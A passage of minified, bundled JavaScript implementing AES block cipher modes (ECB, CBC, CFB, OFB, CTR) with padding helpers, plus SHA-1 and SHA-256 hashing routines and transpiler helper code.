85,793451934,821288114,1391201670,3822090177,376187827,3113855344,1224348052,1679968233,2361698556,1058709744,752375421,2431590963,1321699145,3519142200,2734591178,188127444,2177869557,3727205754,2384911031,3215212461,2648976442,2450346104,3432737375,1180849278,331544205,3102249176,4150144569,2952102595,2159976285,2474404304,766078933,313773861,2570832044,2108100632,1668212892,3145456443,2013908262,418672217,3070356634,2594734927,1852171925,3867060991,3473416636,3907448597,2614737639,919489135,164948639,2094410160,2997825956,590424639,2486224549,1723872674,3157750862,3399941250,3501252752,3625268135,2555048196,3673637356,1343127501,4130281361,3599595085,2957853679,1297403050,81781910,3051593425,2283490410,532201772,1367295589,3926170974,895287692,1953757831,1093597963,492483431,3528626907,1446242576,1192455638,1636604631,209336225,344873464,1015671571,669961897,3375740769,3857572124,2973530695,3747192018,1933530610,3464042516,935293895,3454686199,2858115069,1863638845,3683022916,4085369519,3292445032,875313188,1080017571,3279033885,621591778,1233856572,2504130317,24197544,3017672716,3835484340,3247465558,2220981195,3060847922,1551124588,1463996600],m=[4104605777,1097159550,396673818,660510266,2875968315,2638606623,4200115116,3808662347,821712160,1986918061,3430322568,38544885,3856137295,718002117,893681702,1654886325,2975484382,3122358053,3926825029,4274053469,796197571,1290801793,1184342925,3556361835,2405426947,2459735317,1836772287,1381620373,3196267988,1948373848,3764988233,3385345166,3263785589,2390325492,1480485785,3111247143,3780097726,2293045232,548169417,3459953789,3746175075,439452389,1362321559,1400849762,1685577905,1806599355,2174754046,137073913,1214797936,1174215055,3731654548,2079897426,1943217067,1258480242,529487843,1437280870,3945269170,3049390895,3313212038,923313619,679998e3,3215307299,57326082,377642221,3474729866,2041877159,133361907,1776460110,3673476453,96392454,878845905,2801699524,777231668,4082475170,2330014213,4142626212,2213296395,1626319424,1906247262,1846563261,562755902,3708173718,1040559837,3871163981,1418573201,3294430577,114585348,1343618912,2566595609,3186202582,1078185097,3651041127,3896688048,2307622919,425408743,3371096953,2081048481,1108339068,2216610296,0,2156299017,736970802,292596766,1517440620,251657213,2235061775,2933202493,758720310,265905162,1554391400,1532285339,908999204,174567692,1474760595,4002861748,2610011675,3234156416,3693126241,2001430874,303699484,2478443234,2687165888,585122620,454499602,151849742,2345119218,3064510765,514443284,4044981591,1963412655,2581445614,2137062819,19308535,1928707164,1715193156,4219352155,1126790795,600235211,3992742070,3841024952,836553431,1669664834,2535604243,3323011204,1243905413,3141400786,4180808110,698445255,2653899549,2989552604,2253581325,3252932727,3004591147,1891211689,2487810577,3915653703,4237083816,4030667424,2100090966,865136418,1229899655,953270745,3399679628,3557504664,4118925222,2061379749,3079546586,2915017791,983426092,2022837584,1607244650,2118541908,2366882550,3635996816,972512814,3283088770,1568718495,3499326569,3576539503,621982671,2895723464,410887952,2623762152,1002142683,645401037,1494807662,2595684844,1335535747,2507040230,4293295786,3167684641,367585007,3885750714,1865862730,2668221674,2960971305,2763173681,1059270954,2777952454,2724642869,1320957812,2194319100,2429595872,2815956275,77089521,3973773121,3444575871,2448830231,1305906550,4021308739,2857194700,2516901860,3518358430,1787304780,740276417,1699839814,1592394909,2352307457,2272556026,188821243,1729977011,3687994002,274084841,3594982253,3613494426,2701949495,4162096729,322734571,2837966542,1640576439,484830689,1202797690,3537852828,4067639125,349075736,3342319475,4157467219,4255800159,1030690015,1155237496,2951971274,1757691577,607398968,2738905026,499347990,3794078908,1011452712,227885567,2818666809,213114376,3034881240,1455525988,3414450555,850817237,1817998408,3092726480],g=[0,235474187,470948374,303765277,941896748,908933415,607530554,708780849,1883793496,2118214995,1817866830,1649639237,1215061108,1181045119,1417561698,1517767529,3767586992,4003061179,4236429990,4069246893,3635733660,3602770327,3299278474,3400528769,2430122216,2664543715,2362090238,2193862645,2835123396,2801107407,3035535058,3135740889,3678124923,3576870512,3341394285,3374361702,3810496343,3977675356,4279080257,4043610186,2876494627,2776292904,3076639029,3110650942,2472011535,2640243204,2403728665,2169303058,1001089995,899835584,666464733,699432150,59727847,226906860,530400753,294930682,1273168787,1172967064,1475418501,1509430414,1942435775,2110667444,1876241833,1641816226,2910219766,2743034109,2976151520,3211623147,2505202138,2606453969,2302690252,2269728455,3711829422,3543599269,3240894392,3475313331,3843699074,3943906441,4178062228,4144047775,1306967366,1139781709,1374988112,1610459739,1975683434,2076935265,1775276924,1742315127,1034867998,866637845,566021896,800440835,92987698,193195065,429456164,395441711,1984812685,2017778566,1784663195,1683407248,1315562145,1080094634,1383856311,1551037884,101039829,135050206,437757123,337553864,1042385657,807962610,573804783,742039012,2531067453,2564033334,2328828971,2227573024,2935566865,2700099354,3001755655,3168937228,3868552805,3902563182,4203181171,4102977912,3736164937,3501741890,3265478751,3433712980,1106041591,1340463100,1576976609,1408749034,2043211483,2009195472,1708848333,1809054150,832877231,1068351396,766945465,599762354,159417987,126454664,361929877,463180190,2709260871,2943682380,3178106961,3009879386,2572697195,2538681184,2236228733,2336434550,3509871135,3745345300,3441850377,3274667266,3910161971,3877198648,4110568485,4211818798,2597806476,2497604743,2261089178,2295101073,2733856160,2902087851,3202437046,2968011453,3936291284,3835036895,4136440770,4169408201,3535486456,3702665459,3467192302,3231722213,2051518780,1951317047,1716890410,1750902305,1113818384,1282050075,1584504582,1350078989,168810852,67556463,371049330,404016761,841739592,1008918595,775550814,540080725,3969562369,3801332234,4035489047,4269907996,3569255213,3669462566,3366754619,3332740144,2631065433,2463879762,2160117071,2395588676,2767645557,2868897406,3102011747,3069049960,202008497,33778362,270040487,504459436,875451293,975658646,675039627,641025152,2084704233,1917518562,1615861247,1851332852,1147550661,1248802510,1484005843,1451044056,933301370,967311729,733156972,632953703,260388950,25965917,328671808,496906059,1206477858,1239443753,1543208500,1441952575,2144161806,1908694277,1675577880,1842759443,3610369226,3644379585,3408119516,3307916247,4011190502,3776767469,4077384432,4245618683,2809771154,2842737049,3144396420,3043140495,2673705150,2438237621,2203032232,2370213795],w=[0,185469197,370938394,487725847,741876788,657861945,975451694,824852259,1483753576,1400783205,1315723890,1164071807,1950903388,2135319889,1649704518,1767536459,2967507152,3152976349,2801566410,2918353863,2631447780,2547432937,2328143614,2177544179,3901806776,3818836405,4270639778,4118987695,3299409036,3483825537,3535072918,3652904859,2077965243,1893020342,1841768865,1724457132,1474502543,1559041666,1107234197,1257309336,598438867,681933534,901210569,1052338372,261314535,77422314,428819965,310463728,3409685355,3224740454,3710368113,3593056380,3875770207,3960309330,4045380933,4195456072,2471224067,2554718734,2237133081,2388260884,3212035895,3028143674,2842678573,2724322336,4138563181,4255350624,3769721975,3955191162,3667219033,3516619604,3431546947,3347532110,2933734917,2782082824,3099667487,3016697106,2196052529,2313884476,2499348523,2683765030,1179510461,1296297904,1347548327,1533017514,1786102409,1635502980,2087309459,2003294622,507358933,355706840,136428751,53458370,839224033,957055980,605657339,790073846,2373340630,2256028891,2607439820,2422494913,2706270690,2856345839,3075636216,3160175349,3573941694,3725069491,3273267108,3356761769,4181598602,4063242375,4011996048,3828103837,1033297158,915985419,730517276,545572369,296679730,446754879,129166120,213705253,1709610350,1860738147,1945798516,2029293177,1239331162,1120974935,1606591296,1422699085,4148292826,4233094615,3781033664,3931371469,3682191598,3497509347,3446004468,3328955385,2939266226,2755636671,3106780840,2988687269,2198438022,2282195339,2501218972,2652609425,1201765386,1286567175,1371368976,1521706781,1805211710,1620529459,2105887268,1988838185,533804130,350174575,164439672,46346101,870912086,954669403,636813900,788204353,2358957921,2274680428,2592523643,2441661558,2695033685,2880240216,3065962831,3182487618,3572145929,3756299780,3270937875,3388507166,4174560061,4091327024,4006521127,3854606378,1014646705,930369212,711349675,560487590,272786309,457992840,106852767,223377554,1678381017,1862534868,1914052035,2031621326,1211247597,1128014560,1580087799,1428173050,32283319,182621114,401639597,486441376,768917123,651868046,1003007129,818324884,1503449823,1385356242,1333838021,1150208456,1973745387,2125135846,1673061617,1756818940,2970356327,3120694122,2802849917,2887651696,2637442643,2520393566,2334669897,2149987652,3917234703,3799141122,4284502037,4100872472,3309594171,3460984630,3545789473,3629546796,2050466060,1899603969,1814803222,1730525723,1443857720,1560382517,1075025698,1260232239,575138148,692707433,878443390,1062597235,243256656,91341917,409198410,325965383,3403100636,3252238545,3704300486,3620022987,3874428392,3990953189,4042459122,4227665663,2460449204,2578018489,2226875310,2411029155,3198115200,3046200461,2827177882,2743944855],A=[0,218828297,437656594,387781147,875313188,958871085,775562294,590424639,1750626376,1699970625,1917742170,2135253587,1551124588,1367295589,1180849278,1265195639,3501252752,3720081049,3399941250,3350065803,3835484340,3919042237,4270507174,4085369519,3102249176,3051593425,2734591178,2952102595,2361698556,2177869557,2530391278,2614737639,3145456443,3060847922,2708326185,2892417312,2404901663,2187128086,2504130317,2555048196,3542330227,3727205754,3375740769,3292445032,3876557655,3926170974,4246310725,4027744588,1808481195,1723872674,1910319033,2094410160,1608975247,1391201670,1173430173,1224348052,59984867,244860394,428169201,344873464,935293895,984907214,766078933,547512796,1844882806,1627235199,2011214180,2062270317,1507497298,1423022939,1137477952,1321699145,95345982,145085239,532201772,313773861,830661914,1015671571,731183368,648017665,3175501286,2957853679,2807058932,2858115069,2305455554,2220981195,2474404304,2658625497,3575528878,3625268135,3473416636,3254988725,3778151818,3963161475,4213447064,4130281361,3599595085,3683022916,3432737375,3247465558,3802222185,4020912224,4172763771,4122762354,3201631749,3017672716,2764249623,2848461854,2331590177,2280796200,2431590963,2648976442,104699613,188127444,472615631,287343814,840019705,1058709744,671593195,621591778,1852171925,1668212892,1953757831,2037970062,1514790577,1463996600,1080017571,1297403050,3673637356,3623636965,3235995134,3454686199,4007360968,3822090177,4107101658,4190530515,2997825956,3215212461,2830708150,2779915199,2256734592,2340947849,2627016082,2443058075,172466556,122466165,273792366,492483431,1047239e3,861968209,612205898,695634755,1646252340,1863638845,2013908262,1963115311,1446242576,1530455833,1277555970,1093597963,1636604631,1820824798,2073724613,1989249228,1436590835,1487645946,1337376481,1119727848,164948639,81781910,331544205,516552836,1039717051,821288114,669961897,719700128,2973530695,3157750862,2871682645,2787207260,2232435299,2283490410,2667994737,2450346104,3647212047,3564045318,3279033885,3464042516,3980931627,3762502690,4150144569,4199882800,3070356634,3121275539,2904027272,2686254721,2200818878,2384911031,2570832044,2486224549,3747192018,3528626907,3310321856,3359936201,3950355702,3867060991,4049844452,4234721005,1739656202,1790575107,2108100632,1890328081,1402811438,1586903591,1233856572,1149249077,266959938,48394827,369057872,418672217,1002783846,919489135,567498868,752375421,209336225,24197544,376187827,459744698,945164165,895287692,574624663,793451934,1679968233,1764313568,2117360635,1933530610,1343127501,1560637892,1243112415,1192455638,3704280881,3519142200,3336358691,3419915562,3907448597,3857572124,4075877127,4294704398,3029510009,3113855344,2927934315,2744104290,2159976285,2377486676,2594734927,2544078150],_=[0,151849742,303699484,454499602,607398968,758720310,908999204,1059270954,1214797936,1097159550,1517440620,1400849762,1817998408,1699839814,2118541908,2001430874,2429595872,2581445614,2194319100,2345119218,3034881240,3186202582,2801699524,2951971274,3635996816,3518358430,3399679628,3283088770,4237083816,4118925222,4002861748,3885750714,1002142683,850817237,698445255,548169417,529487843,377642221,227885567,77089521,1943217067,2061379749,1640576439,1757691577,1474760595,1592394909,1174215055,1290801793,2875968315,2724642869,3111247143,2960971305,2405426947,2253581325,2638606623,2487810577,3808662347,3926825029,4044981591,4162096729,3342319475,3459953789,3576539503,3693126241,1986918061,2137062819,1685577905,1836772287,1381620373,1532285339,1078185097,1229899655,1040559837,923313619,740276417,621982671,439452389,322734571,137073913,19308535,3871163981,4021308739,4104605777,4255800159,3263785589,3414450555,3499326569,3651041127,2933202493,2815956275,3167684641,3049390895,2330014213,2213296395,2566595609,2448830231,1305906550,1155237496,1607244650,1455525988,1776460110,1626319424,2079897426,1928707164,96392454,213114376,396673818,514443284,562755902,679998e3,865136418,983426092,3708173718,3557504664,3474729866,3323011204,4180808110,4030667424,3945269170,3794078908,2507040230,2623762152,2272556026,2390325492,2975484382,3092726480,2738905026,2857194700,3973773121,3856137295,4274053469,4157467219,3371096953,3252932727,3673476453,3556361835,2763173681,2915017791,3064510765,3215307299,2156299017,2307622919,2459735317,2610011675,2081048481,1963412655,1846563261,1729977011,1480485785,1362321559,1243905413,1126790795,878845905,1030690015,645401037,796197571,274084841,425408743,38544885,188821243,3613494426,3731654548,3313212038,3430322568,4082475170,4200115116,3780097726,3896688048,2668221674,2516901860,2366882550,2216610296,3141400786,2989552604,2837966542,2687165888,1202797690,1320957812,1437280870,1554391400,1669664834,1787304780,1906247262,2022837584,265905162,114585348,499347990,349075736,736970802,585122620,972512814,821712160,2595684844,2478443234,2293045232,2174754046,3196267988,3079546586,2895723464,2777952454,3537852828,3687994002,3234156416,3385345166,4142626212,4293295786,3841024952,3992742070,174567692,57326082,410887952,292596766,777231668,660510266,1011452712,893681702,1108339068,1258480242,1343618912,1494807662,1715193156,1865862730,1948373848,2100090966,2701949495,2818666809,3004591147,3122358053,2235061775,2352307457,2535604243,2653899549,3915653703,3764988233,4219352155,4067639125,3444575871,3294430577,3746175075,3594982253,836553431,953270745,600235211,718002117,367585007,484830689,133361907,251657213,2041877159,1891211689,1806599355,1654886325,1568718495,1418573201,1335535747,1184342925];function O(t){return new Uint8Array(t)}function S(t,e,r,n,o){null==n&&null==o||(t=t.slice?t.slice(n,o):Array.prototype.slice.call(t,n,o)),e.set(t,r)}function I(t){for(var e=[],r=0;r<t.length;r+=4)e.push(t[r+0]<<24|t[r+1]<<16|t[r+2]<<8|t[r+3]);return e}function j(t,e,r){for(var n=function(t){var e=a[(t=null==t?"":""+t).length];if(null==e)throw new Error("Invalid key size (must be 16, 24 or 32 bytes)");return e}(t),o=[],u=[],S=(0,i.toUint8Array)(t),j=0;j<=n;j++)o.push([0,0,0,0]),u.push([0,0,0,0]);for(var P=4*(n+1),E=S.length/4,C=I(S),N=0,x=0;x<E;x++)o[N=x>>2][x%4]=C[x],u[n-N][x%4]=C[x];for(var k=0,D=E,F=0;D<P;){if(F=C[E-1],C[0]^=c[F>>16&255]<<24^c[F>>8&255]<<16^c[255&F]<<8^c[F>>24&255]^l[k]<<24,k+=1,8!=E)for(var B=1;B<E;B++)C[B]^=C[B-1];else{for(var T=1;T<E/2;T++)C[T]^=C[T-1];F=C[E/2-1],C[E/2]^=c[255&F]^c[F>>8&255]<<8^c[F>>16&255]<<16^c[F>>24&255]<<24;for(var M=E/2+1;M<E;M++)C[M]^=C[M-1]}for(var U=0,R=0,Y=0;U<E&&D<P;)Y=D%4,o[R=D>>2][Y]=C[U],u[n-R][Y]=C[U++],D++}for(var K=1;K<n;K++)for(var V=0;V<4;V++)F=u[K][V],u[K][V]=g[F>>24&255]^w[F>>16&255]^A[F>>8&255]^_[255&F];return{key:S,rounds:n,name:e,description:r,_Ke:o,_Kd:u,encrypt:function(t){if(null==t||16!=t.length)throw new Error("Invalid plaintext size (must be 16 bytes)");for(var e=o.length-1,r=[0,0,0,0],n=I(t),i=0;i<4;i++)n[i]^=this._Ke[0][i];for(var u=1;u<e;u++){for(var a=0;a<4;a++)r[a]=s[n[a]>>24&255]^d[n[(a+1)%4]>>16&255]^y[n[(a+2)%4]>>8&255]^p[255&n[(a+3)%4]]^this._Ke[u][a];n=r.slice()}for(var l=O(16),f=0,v=0;v<4;v++)f=o[e][v],l[4*v+0]=255&(c[n[v+0+0]>>24&255]^f>>24),l[4*v+1]=255&(c[n[(v+1)%4]>>16&255]^f>>16),l[4*v+2]=255&(c[n[(v+2)%4]>>8&255]^f>>8),l[4*v+3]=255&(c[255&n[(v+3)%4]]^f);return l},decrypt:function(t){if(null==t||16!=t.length)throw new Error("Invalid plaintext size (must be 16 bytes)");for(var e=o.length-1,r=[0,0,0,0],n=I(t),i=0;i<4;i++)n[i]^=this._Kd[0][i];for(var a=1;a<e;a++){for(var l=0;l<4;l++)r[l]=v[n[l+0+0]>>24&255]^h[n[(l+3)%4]>>16&255]^b[n[(l+2)%4]>>8&255]^m[255&n[(l+1)%4]]^u[a][l];n=r.slice()}for(var c=O(16),s=0,d=0;d<4;d++)s=u[e][d],c[4*d+0]=255&(f[n[d+0+0]>>24&255]^s>>24),c[4*d+1]=255&(f[n[(d+3)%4]>>16&255]^s>>16),c[4*d+2]=255&(f[n[(d+2)%4]>>8&255]^s>>8),c[4*d+3]=255&(f[255&n[(d+1)%4]]^s);return c}}}function P(t){var e,r=n(t||O(16)),o=-1!=r.findIndex((function(t){return"number"!=typeof t||parseInt(t+"")!==t}));if("string"==typeof t||o?e=(0,i.toUint8Array)(r.join("")):(0,u.isArrayLike)(t)&&(e=new Uint8Array(r.map((function(t){return Number(t)})))),16!=e.length)throw new Error("Invalid initialation vector size (must be 16 bytes)");return e}function E(t){if(null==t)return null;if(!(0,u.isArrayLike)(t))throw new Error("Invalid input, must be an array");for(var e=t.length,r=0;r<e;r++){var n=1*t[r];if(isNaN(n)||parseInt(t[r])!==n||n<-128||n>255)throw new Error("Invalid input, array must contain only numbers between [0-255] or [-128,127] at position: "+r)}return t}function C(t){if(null==t)return null;for(var e=16-t.length%16,r=n(t),o=0;o<e;o++)r[t.length+o]=e;return new Uint8Array(r)}function N(t,e){if(null==t)return null;if(!t||t.length<16)throw new Error(e+" Invalid length");var r=t[t.length-1];if(r>16)throw new Error(e+" padding byte out of range");for(var n=t.length-r,o=0;o<r;o++)if(t[n+o]!==r)throw new Error(e+" Invalid padding byte");return t.slice(0,n)}function x(t,e){var r,n=(t||"NoPadding")+"";switch(-1!==(r=n.toLowerCase().lastIndexOf("padding"))&&r===n.length-7&&(n=n.substring(0,t.length-7)),n.toUpperCase()){case"PKCS7":case"PKCS#7":return function(t){return e?N(t,"PKCS#7"):C(t)};case"PKCS5":case"PKCS#5":return function(t){return e?N(t,"PKCS#5"):C(t)};case"NO":return function(t){return t};default:throw new Error("Invalid padding: "+n)}}var k={ECB:function(t,e){var r=j(t,"ecb","Electronic Code Block");return{encrypt:function(t){if(null==(t=E(x(e.padding||"PKCS#5")(t))))return null;if(t.length%16!=0)throw new Error("Invalid plaintext size (must be multiple of 16 bytes)");for(var n=O(t.length),o=O(16),i=0;i<t.length;i+=16)S(t,o,0,i,i+16),S(o=r.encrypt(o),n,i);return n},decrypt:function(t){if(null==(t=E(t)))return null;if(t.length%16!=0)throw new Error("Invalid ciphertext size (must be multiple of 16 bytes)");for(var n=O(t.length),o=O(16),i=0;i<t.length;i+=16)S(t,o,0,i,i+16),S(o=r.decrypt(o),n,i);return x(e.padding||"PKCS#5",!0)(n)}}},CBC:function(t,e){var r=e.iv,n=(e.padding,j(t,"CBC","Cipher Block Chaining")),o=P(r);return{encrypt:function(t){if(null==(t=t=E(x(e.padding||"PKCS#5")(t))))return null;if(t.length%16!=0)throw new Error("Invalid plaintext size (must be multiple of 16 bytes)");for(var r=new Uint8Array(o),i=O(t.length),u=O(16),a=0;a<t.length;a+=16){S(t,u,0,a,a+16);for(var l=0;l<16;l++)u[l]^=r[l];S(r=n.encrypt(u),i,a)}return i},decrypt:function(t){if(null==(t=E(t)))return null;if(t.length%16!=0)throw new Error("Invalid ciphertext size (must be multiple of 16 bytes)");for(var e=new Uint8Array(o),r=O(t.length),i=O(16),u=0;u<t.length;u+=16){S(t,i,0,u,u+16),i=n.decrypt(i);for(var a=0;a<16;a++)r[u+a]=i[a]^e[a];S(t,e,0,u,u+16)}return r}}},CFB:function(t,e){var r=e.iv,n=(e.padding,e.segmentSize),o=j(t,"cfb","Cipher Feedback");(!n||isNaN(Number(n))||n<0)&&(n=1);var i=P(r),u=new Uint8Array(i);return{encrypt:function(t){if(null==(t=E(x("NoPadding")(t))))return null;if(t.length%n!=0)throw new Error("Invalid plaintext size (must be segmentSize bytes)");for(var e,r=new Uint8Array(t),i=0;i<r.length;i+=n){e=o.encrypt(u);for(var a=0;a<n;a++)r[i+a]^=e[a];S(u,u,0,n),S(r,u,16-n,i,i+n)}return r},decrypt:function(t){if(null==(t=E(t)))return null;var e,r=new Uint8Array(t);if(null==r)return null;if(r.length%n!=0)throw new Error("Invalid ciphertext size (must be segmentSize bytes)");for(var i=0;i<r.length;i+=n){e=o.encrypt(u);for(var a=0;a<n;a++)r[i+a]^=e[a];S(u,u,0,n),S(t,u,16-n,i,i+n)}return r}}},OFB:function(t,e){var r=e.iv,n=j(t,"ofb","Output Feedback"),o=P(r);return{encrypt:function(t){t=E(x("NoPadding")(t));var e=new Uint8Array(t);if(null===e)return null;for(var r=16,i=new Uint8Array(o),u=0;u<e.length;u++)16===r&&(i=n.encrypt(i),r=0),e[u]^=i[r++];return e},decrypt:function(t){return null==(t=E(t))?null:this.encrypt(t)}}},CTR:function(t,e){var r=e.iv,o=j(t,"ctr","Counter");return{encrypt:function(t){if(null==(t=E(x("NoPadding")(t))))return null;for(var e=new Uint8Array(t),u=function(t){return{_counter:function(){null!=t&&""!==t||(t=O(16));var e=O(16);if("number"==typeof t){if(parseInt(t+"")!=t)throw new Error("invalid counter value (must be an integer)");var r=1*t;if(r>Number.MAX_SAFE_INTEGER)throw new Error("integer value out of safe range");for(var o=15;o>=0;--o)e[o]=r%256,r=parseInt(r/256+"")}else{var u=n(t),a=-1!=u.findIndex((function(t){return"number"!=typeof t||parseInt(t+"")!==t}));e="string"==typeof u||a?(0,i.toUint8Array)(u.join("")):new Uint8Array(u)}if(16!=e.length)throw new Error("invalid counter bytes size (must be 16 bytes)");return e}(),increment:function(){for(var t=15;t>=0;t--){if(255!==this._counter[t]){this._counter[t]++;break}this._counter[t]=0}}}}(r),a=null,l=16,c=0;c<e.length;c++)16===l&&(a=o.encrypt(u._counter),l=0,u.increment()),e[c]^=a[l++];return e},decrypt:function(t){return null==(t=E(t))?null:this.encrypt(t)}}}};e.default=k},610:(t,e,r)=>{"use strict";function n(t,e){return function(t){if(Array.isArray(t))return t}(t)||function(t,e){var r=null==t?null:"undefined"!=typeof Symbol&&t[Symbol.iterator]||t["@@iterator"];if(null!=r){var n,o,i,u,a=[],l=!0,c=!1;try{if(i=(r=r.call(t)).next,0===e){if(Object(r)!==r)return;l=!1}else for(;!(l=(n=i.call(r)).done)&&(a.push(n.value),a.length!==e);l=!0);}catch(t){c=!0,o=t}finally{try{if(!l&&null!=r.return&&(u=r.return(),Object(u)!==u))return}finally{if(c)throw o}}return a}}(t,e)||function(t,e){if(t){if("string"==typeof t)return o(t,e);var r={}.toString.call(t).slice(8,-1);return"Object"===r&&t.constructor&&(r=t.constructor.name),"Map"===r||"Set"===r?Array.from(t):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?o(t,e):void 0}}(t,e)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function o(t,e){(null==e||e>t.length)&&(e=t.length);for(var r=0,n=Array(e);r<e;r++)n[r]=t[r];return n}Object.defineProperty(e,"__esModule",{value:!0}),e.ROTL=u,e.ROTR=a,e.sha_padding=l;var i=r(917);function u(t,e){return e<<t|e>>>32-t}function a(t,e){return e>>>t|e<<32-t}function l(t,e){var r=t.length,n=8*r,o=e?2:1,i=new Uint8Array(Math.ceil((r+9+8*o)/(64*o))*(64*o));i.set(t),i[r]=128;var u=(56*o-((r+1)%(64*o)+64*o))%(64*o);i.fill(0,r+1,r+1+u);var a=new DataView(i.buffer);return e?new DataView(i.buffer).setBigUint64(i.length-16,BigInt(n),!1):(a.setUint32(i.length-8,Math.floor(n/4294967296),!1),a.setUint32(i.length-4,n,!1)),i}function c(t,e){for(var r=new Array(80),o=r.length,i=0;i<16;i++)r[i]=t[4*i]<<24|t[4*i+1]<<16|t[4*i+2]<<8|t[4*i+3];for(var a=16;a<80;a++)r[a]=u(1,r[a-3]^r[a-8]^r[a-14]^r[a-16]);for(var l=n(e,5),c=l[0],f=l[1],s=l[2],d=l[3],y=l[4],p=0;p<o;p++){var v=void 0,h=void 0;p<20?(v=f&s|~f&d,h=1518500249):p<40?(v=f^s^d,h=1859775393):p<60?(v=f&s|f&d|s&d,h=2400959708):(v=f^s^d,h=3395469782);var b=u(5,c)+v+y+h+r[p]>>>0;y=d,d=s,s=u(30,f),f=c,c=b}e[0]=e[0]+c>>>0,e[1]=e[1]+f>>>0,e[2]=e[2]+s>>>0,e[3]=e[3]+d>>>0,e[4]=e[4]+y>>>0}function f(t,e){for(var r=[1116352408,1899447441,3049323471,3921009573,961987163,1508970993,2453635748,2870763221,3624381080,310598401,607225278,1426881987,1925078388,2162078206,2614888103,3248222580,3835390401,4022224774,264347078,604807628,770255983,1249150122,1555081692,1996064986,2554220882,2821834349,2952996808,3210313671,3336571891,3584528711,113926993,338241895,666307205,773529912,1294757372,1396182291,1695183700,1986661051,2177026350,2456956037,2730485921,2820302411,3259730800,3345764771,3516065817,3600352804,4094571909,275423344,430227734,506948616,659060556,883997877,958139571,1322822218,1537002063,1747873779,1955562222,2024104815,2227730452,2361852424,2428436474,2756734187,3204031479,3329325298],o=new Array(64).fill(0),i=0;i<16;i++)o[i]=(t[4*i]<<24|t[4*i+1]<<16|t[4*i+2]<<8|t[4*i+3])>>>0;for(var u=16;u<64;u++){var l=(a(7,o[u-15])^a(18,o[u-15])^o[u-15]>>>3)>>>0,c=(a(17,o[u-2])^a(19,o[u-2])^o[u-2]>>>10)>>>0;o[u]=o[u-16]+l+o[u-7]+c>>>0}for(var f=n(e,8),s=f[0],d=f[1],y=f[2],p=f[3],v=f[4],h=f[5],b=f[6],m=f[7],g=0;g<64;g++){var w=m+((a(6,v)^a(11,v)^a(25,v))>>>0)+((v&h^~v&b)>>>0)+r[g]+o[g]>>>0,A=(s&d^s&y^d&y)>>>0;m=b,b=h,h=v,v=p+w>>>0,p=y,y=d,d=s,s=w+(((a(2,s)^a(13,s)^a(22,s))>>>0)+A>>>0)>>>0}e[0]=e[0]+s>>>0,e[1]=e[1]+d>>>0,e[2]=e[2]+y>>>0,e[3]=e[3]+p>>>0,e[4]=e[4]+v>>>0,e[5]=e[5]+h>>>0,e[6]=e[6]+b>>>0,e[7]=e[7]+m>>>0}var s={sha1:function(t){var e=[1732584193,4023233417,2562383102,271733878,3285377520],r=(0,i.toUint8Array)(t);if(null==r)return null;for(var n=l(r,!1),o=0;o<n.length;o+=64)c(n.slice(o,o+64),e);return e.map((function(t){return("00000000"+t.toString(16)).slice(-8)})).join("")},sha256:function(t){var e=(0,i.toUint8Array)(t);if(null==e)return null;for(var r=l(e,!1),n=[1779033703,3144134277,1013904242,2773480762,1359893119,2600822924,528734635,1541459225],o=0;o<r.length;o+=64)f(r.slice(o,o+64),n);return n.map((function(t){return("00000000"+t.toString(16)).slice(-8)})).join("")},sha512:function(t){}};e.default=s},559:(t,e,r)=>{"use strict";function n(t,e){(null==e||e>t.length)&&(e=t.length);for(var r=0,n=Array(e);r<e;r++)n[r]=t[r];return n}Object.defineProperty(e,"__esModule",{value:!0}),e.sha1_test=function(t){var e=[1732584193,4023233417,2562383102,271733878,3285377520];function r(t,e){for(var r=new Array(80),i=0;i<16;i++)r[i]=t[4*i]<<24|t[4*i+1]<<16|t[4*i+2]<<8|t[4*i+3];for(var u=16;u<80;u++)r[u]=(0,o.ROTL)(1,r[u-3]^r[u-8]^r[u-14]^r[u-16]);for(var a=function(t,e){return function(t){if(Array.isArray(t))return t}(t)||function(t,e){var r=null==t?null:"undefined"!=typeof Symbol&&t[Symbol.iterator]||t["@@iterator"];if(null!=r){var n,o,i,u,a=[],l=!0,c=!1;try{if(i=(r=r.call(t)).next,0===e){if(Object(r)!==r)return;l=!1}else for(;!(l=(n=i.call(r)).done)&&(a.push(n.value),a.length!==e);l=!0);}catch(t){c=!0,o=t}finally{try{if(!l&&null!=r.return&&(u=r.return(),Object(u)!==u))return}finally{if(c)throw o}}return a}}(t,e)||function(t,e){if(t){if("string"==typeof t)return n(t,e);var r={}.toString.call(t).slice(8,-1);return"Object"===r&&t.constructor&&(r=t.constructor.name),"Map"===r||"Set"===r?Array.from(t):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?n(t,e):void 0}}(t,e)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}(e,5),l=a[0],c=a[1],f=a[2],s=a[3],d=a[4],y=0;y<80;y++){var p=void 0,v=void 0;y<20?(p=c&f|~c&s,v=1518500249):y<40?(p=c^f^s,v=1859775393):y<60?(p=c&f|c&s|f&s,v=2400959708):(p=c^f^s,v=3395469782);var h=(0,o.ROTL)(5,l)+p+d+v+r[y]>>>0;d=s,s=f,f=(0,o.ROTL)(30,c),c=l,l=h}e[0]=e[0]+l>>>0,e[1]=e[1]+c>>>0,e[2]=e[2]+f>>>0,e[3]=e[3]+s>>>0,e[4]=e[4]+d>>>0}for(var i=(0,o.sha_padding)(t),u=0;u<i.length;u+=64)r(i.slice(u,u+64),e);return e.map((function(t){return("00000000"+t.toString(16)).slice(-8)})).join("")};var o=r(610)},989:(t,e)=>{"use strict";function r(t){return r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},r(t)}function n(t,e){var r=Object.keys(t);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(t);e&&(n=n.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),r.push.apply(r,n)}return r}function o(t,e,n){return(e=function(t){var e=function(t){if("object"!=r(t)||!t)return t;var e=t[Symbol.toPrimitive];if(void 0!==e){var n=e.call(t,"string");if("object"!=r(n))return n;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(t)}(t);return"symbol"==r(e)?e:e+""}(e))in 